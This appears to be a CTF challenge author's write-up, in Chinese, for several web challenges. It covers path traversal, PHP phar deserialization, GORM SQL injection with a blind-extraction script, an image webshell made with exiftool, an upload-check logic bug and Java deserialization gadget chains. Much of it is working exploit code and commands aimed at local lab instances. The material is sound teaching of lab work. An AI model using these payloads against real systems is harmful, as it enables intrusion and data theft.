GitZip

出这题的起因
平时出题人自己也会用 gitzip 这个浏览器插件来下载 GitHub 上的文件,有一天看了一下这个插件的官网,发现是开源的,又看了一下开源的源码,一眼丁真 任意文件读取

本题是直接给的一个 Github 仓库链接
想让新手克服一开始代码审计感到陌生的这一困难
其实只需要 git clone 下载下来代码,简单看一下路由处理部分,就能发现漏洞点了

此处代码存在任意文件读取(代码中不止这一个路由存在文件读取漏洞

1
2
3
4
5
6
7
8
9
10
11
// server/config/routes.js#37
app.get("/:htmlname", function (req, res) {
var name = req.params.htmlname;
var requestPath = path.resolve(__dirname, "../", "views/" + name);
if (fs.existsSync(requestPath)) {
// Do something
res.sendFile(requestPath);
} else {
res.status(404).send("Not found");
}
});

从路由处传参,需要 url 编码,之后直接下载 /tmp/flag 即可

1
curl http://127.0.0.1:3000/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fflag

AutoUnserialize

本题直接给了一份 php 代码,仅仅考察 phar 反序列化这一知识点而已

使用如下 php 代码生成要上传上去的 phar 文件(重命名成了 exp.jpg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class command_test{
public $command;
public function __construct($command)
{
$this->command = $command;
}
}

$exp = new command_test("system('cat /flag');");

$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."__HALT_COMPILER();");
$phar->setMetadata($exp);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

rename("exp.phar","exp.jpg");

上传上去之后,再使用 phar 协议触发反序列化

1
2
3
4
5
6
7
8
9
import requests

target = "http://127.0.0.1:12345/"
files = {'file':open("exp.jpg",'rb')}

res = requests.post(url=target,files=files).text
print(res)
res = requests.get(url=target + "?img_file=phar:///var/www/html/check.jpg/test.txt").text
print(res)

User Manager

sql 注入

这题其实还有两个注入点,一个是 order by,另一个是 delete

Order By

一般来说,order by 这个地方放的是字段名,字段名不需要引号包裹,所以预编译的时候也不会对这个地方做防御

可以插入分号,执行多条 sql 语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
r.GET("/users", func(c *gin.Context) {
var users []User
orderBy := c.Query("order_by")
if orderBy == "" {
orderBy = "id asc"
}
db.Order(orderBy).Find(&users)

for i := range users {
users[i].Secret = "hidden www~~"
}

c.JSON(http.StatusOK, users)
})
1
curl http://127.0.0.1:12345/users?order_by=id+asc%3bselect+secret+as+name+from+users

Delete

delete 接口的代码写的不是很规范,应该需要对传入的 id 参数做 int 强转,然而这里却把一个 string 参数直接传进去了

1
2
3
4
5
6
7
8
9
r.DELETE("/users/:id", func(c *gin.Context) {
id := c.Param("id")
if id == "1" {
c.JSON(http.StatusOK, gin.H{"message": "id != 1"})
} else {
db.Delete(&User{}, id)
c.JSON(http.StatusOK, gin.H{"message": "User deleted"})
}
})

调试发现,传入的参数居然是可以直接拼接到 Where 后面

一样使用分号分隔之后,执行多条 sql 语句

无需注入

在增加数据的时候传入 {'name':"114514", 'secret': 'W4terCTF{'} 可以自定义 secret

1
2
3
4
5
6
7
8
9
r.POST("/users", func(c *gin.Context) {
var newUser User
if err := c.ShouldBindJSON(&newUser); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
db.Create(&newUser)
c.JSON(http.StatusOK, gin.H{"message": "User added"})
})

另一个接口通过 order by secret,根据自定义的 secret 如果比正确的 flag 大或者小,以此来二分判断 flag 的内容即可

二分脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests
import os
import json
import time

url = "http://127.0.0.1:58336"

userID = 1
flag = 'W4terCTF{'

def add_user(flag):
global userID
data = {"name":os.urandom(8).hex(),"age":114514,"secret":flag}
userID += 1
requests.post(url+"/users",json=data)

def del_user():
global userID
requests.delete(url+"/users/"+str(userID))

def get_user_list_first_id():
r = requests.get(url+"/users",params={"order_by":"secret asc"})
# print(r.json()[0]['ID'])
return r.json()[0]['ID']

while True:
left = 32
right = 127

while left < right:
mid = (left + right) // 2
char = chr(mid)
add_user(flag + char)
if get_user_list_first_id() == 1: # 说明 flag + char > FLAG
right = mid
else:
# 说明 flag + char < FLAG
left = mid + 1
del_user()

flag = flag+chr(left-1)
print(flag)
print(userID)

Png Server

首先,题目环境可以使用 php 来解析 jpg 文件

是因为 php-fpm.conf 里加入以下配置,导致 php 可以执行 .png/.jpg/gif 后缀的文件

1
echo "security.limit_extensions = .php .php3 .php4 .php5 .php7 .html .png .jpg .gif" >> /usr/local/etc/php-fpm.conf

其次,nginx 配置如下,.php 结尾则进行解析

1
2
3
4
5
location ~ \.php$ {
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_pass 127.0.0.1:9000;
}

那么,我们上传 png 文件后,在其后添加 /1.php 既可以成功解析了

然而,生成图片马可以使用如下工具,将 php 代码写入到 exif 信息中

1
exiftool -comment="<?php phpinfo(); ?>" waterdrop.png

彩蛋

打开题目看到的这一张图片

其实里面就是藏了一段 phpinfo
http://127.0.0.1:65343/uploads/waterdrop.png/.php

ASHBP

出题的起因
某天晚上看同学开源在 Github 上的作业提交平台项目,发现居然把公私钥文件放在了网站根目录下面,也就是说直接访问即可下载,然后进行伪造

预期

试了一下,发现 nginx 会自动拦截关于公私钥的下载信息,所以出题人给公私钥文件加了一层 base64(这回可以正常下载了,也算是一个给比赛选手的提示

1
2
3
# init.sh
base64 /var/www/html/src/rsa.pem > /var/www/html/src/rsa_base64.pem
base64 /var/www/html/src/rsa_pub.pem > /var/www/html/src/rsa_pub_base64.pem

将公钥下载下来,之后伪造出 cre 和 flag 的值,对 flag 进行读取

文件上传

其实这题也可以直接上传木马,代码中存在逻辑问题

checkfile 函数对上传的两个文件同时做后缀名检查
但是当检测到第一个文件是正常文件的时候直接 return true 导致第二个文件根本不会检查后缀名就上传上去了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function checkfile($allow_suffix,$allow_size){
for($k=0;$k<NUM;$k++){
$name = basename($_FILES['file']['name'][$k]);
$allow=explode(",",$allow_suffix);
echo $xml->file_suffix;
if (!$_FILES['file']['size'][$k]) {
$res="后端检测到第".($k+1)."个文件为空!";
prtfront($res);
return false;
}
elseif(!get_file_suffix($name,$allow)){
$res="后端检测到文件后缀非法!";
prtfront($res);
return false;
}
elseif($_FILES['file']['size'][$k]>$allow_size){
$res="文件过大!";
prtfront($res);
return false;
}
else{
return true; // <<<<<<---------- vulnerable
}
}
}

Just ReadObject

新手或许写过 Java,但是不是安全相关的一般都不会去了解 Java 反序列化这一漏洞
所以手动写了几个类,来让新手们学习 Java 反序列化原理之后,能够自己编写 Java 代码来解决这道题目

一开始还以为需要放 hint,后面发现根本不需要

可以直接参考 ysoserial 中 cc2 链子

两种打法

1

一个是 Template 动态类加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Templates;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class Exp {
public static void main(String[] args) throws Exception {
Templates templates = new TemplatesImpl();
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodeField = c.getDeclaredField("_bytecodes"); // bytecode 是个二维数组
bytecodeField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("target/classes/evil.class"));
byte[][] codes = { code };
bytecodeField.set(templates,codes);
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

final W4terInvokerTransformer transformer = new W4terInvokerTransformer("toString", new Class[0], new Object[0]);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new W4terTransformingComparator(transformer, new W4terComparator()));
queue.add(1);
queue.add(1);
setFieldValue(transformer, "iMethodName", "newTransformer");

Object[] queueArray = new Object[2];
queueArray[0] = templates;
queueArray[1] = 1;
setFieldValue(queue, "queue", queueArray);
serialize(queue);
unserialize("ser.bin");
}
public static void setFieldValue(Object obj, String key, Object val) throws Exception {
Field field ;
field = obj.getClass().getDeclaredField(key);
field.setAccessible(true);
field.set(obj,val);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oos.writeObject(obj);
}
public static void unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
ois.readObject();
}
}

evil.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class evil extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (Exception e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {

}
}

2

另一个是直接链式调用 transform

这里复用一下同学的 wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class Exp {
public static void main(String[] args) throws Exception {
W4terInvokerTransformer<Object, Object> test1 = (W4terInvokerTransformer<Object, Object>) W4terInvokerTransformer.invokerTransformer(
"getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", null });
W4terInvokerTransformer<Object, Object> test2 = (W4terInvokerTransformer<Object,
Object>) W4terInvokerTransformer.invokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] });
W4terInvokerTransformer<Object, Object> test3 = (W4terInvokerTransformer<Object,
Object>) W4terInvokerTransformer.invokerTransformer("exec",
new Class[] { String.class },
new Object[] { "open -a Calculator"});
W4terComparator comp = new W4terComparator();
W4terTransformingComparator<Object, Object> c3 = new W4terTransformingComparator<>(test3, comp);
W4terTransformingComparator<Object, Object> c2 = new W4terTransformingComparator<>(test2, c3);
W4terTransformingComparator<Object, Object> c1 = new W4terTransformingComparator<>(test1, c2);
PriorityQueue<Object> pq = new PriorityQueue(2);
setFieldValue(pq, "size", 2);

// 防止在序列化的时候就弹计算器
setFieldValue(pq, "comparator", new W4terComparator());
pq.add(Runtime.class);
pq.add(Runtime.class);
setFieldValue(pq, "comparator", c1);
serialize(pq);
// unserialize("ser.bin");
}
public static void setFieldValue(Object obj, String key, Object val) throws Exception {
Field field ;
field = obj.getClass().getDeclaredField(key);
field.setAccessible(true);
field.set(obj,val);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oos.writeObject(obj);
}
public static void unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
Object obj = ois.readObject();
}
}